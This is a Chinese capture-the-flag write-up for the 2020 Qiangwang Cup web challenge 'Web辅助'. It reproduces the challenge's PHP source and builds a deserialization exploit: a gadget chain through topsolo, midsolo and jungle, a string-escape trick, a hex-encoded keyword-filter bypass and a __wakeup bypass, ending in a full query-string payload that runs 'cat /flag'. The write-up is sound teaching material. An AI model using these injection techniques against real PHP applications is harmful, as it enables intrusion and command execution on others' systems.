2020第四届强网杯-强网先锋-Web辅助 writeup

2020第四届强网杯,强网先锋的Web辅助详解。

原题文件:https://wwe.lanzous.com/i2kYNgnu0sh

本题考查点:

  1. php反序列化
  2. 反序列化字符串逃逸
  3. __wakeup()绕过
  4. 使用16进制绕过关键字过滤。

题目给了源码,先进行代码分析。

在index.php传入get参数username和password后,会使用这两个参数创建player对象。
将player对象序列化后,经过write函数处理,最后写入以访问ip的md5为文件名的文件中,如下。

#index.php
if (isset($_GET['username']) && isset($_GET['password'])){
	$username = $_GET['username'];
	$password = $_GET['password'];
	$player = new player($username, $password);
	file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); 
	echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
}

另外存在文件play.php,访问该文件会读取以访问ip的md5为文件名的文件。
并对其内容经过check函数、read函数处理后反序列化。

#play.php
@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
print_r($player);

在common.php中,可看到write函数是将%00*%00替换为\0*\0,read函数是将\0*\0替换为%00*%00,check函数使文件内容中不能有"name"字符串。

#common.php
function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
    return $data;
}

function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}

在class.php文件中定义了几个类,除player外还有topsolo,midsolo,jungle。

#class.php
<?php
class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }

    public function get_admin(){
        return $this->admin;
    }
}

class topsolo{
    protected $name;

    public function __construct($name = 'Riven'){
        $this->name = $name;
    }

    public function TP(){
        if (gettype($this->name) === "function" or gettype($this->name) === "object"){
            $name = $this->name;
            $name();
        }
    }

    public function __destruct(){
        $this->TP();
    }

}

class midsolo{
    protected $name;

    public function __construct($name){
        $this->name = $name;
    }

    public function __wakeup(){
        if ($this->name !== 'Yasuo'){
            $this->name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
        }
    }
    

    public function __invoke(){
        $this->Gank();
    }

    public function Gank(){
        if (stristr($this->name, 'Yasuo')){
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}

class jungle{
    protected $name = "";

    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }

    public function KS(){
        system("cat /flag");
    }

    public function __toString(){
        $this->KS();  
        return "";  
    }
}
?>

其中jungle类中的KS方法有cat flag,则我们最终要执行这个方法。
jungle类存在魔术方法__toString(),当该类的对象被当做字符串使用时会调用这个方法,而这个方法会执行KS方法。

Midsolo类中有一个Gank方法,会在该类的name属性中寻找"Yasuo"字符串,此时就将name属性作为了字符串。
因此我们只要将jungle对象赋值给Midsole对象的name属性,就能触发jungle对象的__toString()。
Midsole类中存在魔术方法__invoke(),当该类的对象被作为函数调用时就会调用这个方法,而该方法会调用Gank()方法。

Topsolo类中有TP()方法,该方法检测该类的name属性,当该属性是函数或者对象时就会将该属性作为函数执行。
因此我们只要将midsolo对象赋值给topsolo对象的name属性,就能触发midsolo对象的__invoke()。
该类中的魔术方法__destruct()会在该对象销毁时执行TP()方法,一个对象的生命周期最后总是销毁,因此该方法总是执行的。

通过以上分析,我们构建出经过反序列化就能get flag的payload。

$cat = new jungle();
$mid = new midsolo($cat);
$top = new topsolo(($mid));
$s = serialize($top);
file_put_contents('payload.txt',$s);

得到

在这里插入图片描述
这里的*前后都是%00,因为protected属性经过序列化后会在属性名前加上%00*%00.

然后我们要将这个payload通过username和password参数传入并执行反序列化。

直接通过参数传入会被作为字符串,不会执行反序列化。
要利用read()函数进行字符串逃逸,read函数将\0*\0替换为%00*%00,将5个字符变成3个字符,这样就可以多出两个字符的空间,会将原字符串外的两个字符吞并。
因此我们在username参数传入多个 \0*\0 就可以吞并后面的一些字符。

正常的user类序列化字符串如下:

O:6:“player”:3:{s:7:"%00*%00user";s:3:“123”;s:7:"%00*%00pass";s:3:“123”;s:8:"%00*%00admin";i:0;}

这里我们需要吞并的字符串是

“;s:7:”%00*%00pass";s:151:"a

长度为24,则需要在username传入12个\0*\0。

因为check函数会检查name,因此需要使用16进制绕过。
将序列化字符串中表示变量名为字符串的小写s换为大写S,就可以解析16进制。
n的16进制是 \6e,这里将name换成 \6eame

由于midsolo类中有魔术方法__wakeup(),当反序列化时会执行该方法,将name属性值替换掉。
使序列化字符串中表示对象属性个数的值大于真实的属性个数,就会跳过__wakeup的执行。
因此这里是 O:7:“midsolo”:2:{S。

最终要传入的password参数是

a";s:7:"%00*%00pass";O:7:“topsolo”:1:{S:7:"%00*%00\6eame";O:7:“midsolo”:2:{S:7:"%00*%00\6eame";O:6:“jungle”:1:{S:7:"%00*%00\6eame";s:7:“Lee Sin”;}}};s:8:"%00*%00admin";i:1;}

得到最终的payload为:

username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0a&password=a";s:7:"%00*%00pass";O:7:“topsolo”:1:{S:7:"%00*%00\6eame";O:7:“midsolo”:2:{S:7:"%00*%00\6eame";O:6:“jungle”:1:{S:7:"%00*%00\6eame";s:7:“Lee Sin”;}}};s:8:"%00*%00admin";i:1;}

在index.php传入如上payload,然后访问play.php就可得到flag。

在这里插入图片描述

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
强网杯-2022 yakagame是一个国际性的网络安全竞赛,旨在提高参赛者在网络安全领域的技术能力和解决问题的能力。比赛的目标是通过攻防对抗的方式,测试参赛者在网络攻防、逆向工程、密码学等方面的知识与技能。 在强网杯-2022 yakagame中,参赛者需要分为攻击方和防守方进行对抗。攻击方需要利用各种技术手段,发现并利用防守方系统的漏洞,获取关键信息或直接攻陷目标。防守方则需要搭建并保护其系统,防止攻击方的入侵和渗透。比赛以时间和得分为衡量指标,攻击方所获得的权限越高,扣除的防守方分数就越多。 强网杯-2022 yakagame对参赛者的要求是既要具备扎实的理论知识,又要具备实际操作能力。参赛者需要熟悉并理解各种常见的漏洞类型、攻击技术和防御措施。比赛过程中,参赛者需要快速分析和回应,提供高效的解决方案,同时具备团队合作和应急响应的能力。 参与强网杯-2022 yakagame对于参赛者而言,有助于提升网络安全技术的实际应用能力,了解当前网络安全形势和攻防技术的最新发展,同时也可以结识来自各个国家和地区的网络安全专家和爱好者,进行技术交流和学习。 总之,强网杯-2022 yakagame是一个高水平的网络安全竞赛,为参赛者提供了锻炼和展示自己技术能力的平台,促进了网络安全领域的发展和合作。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值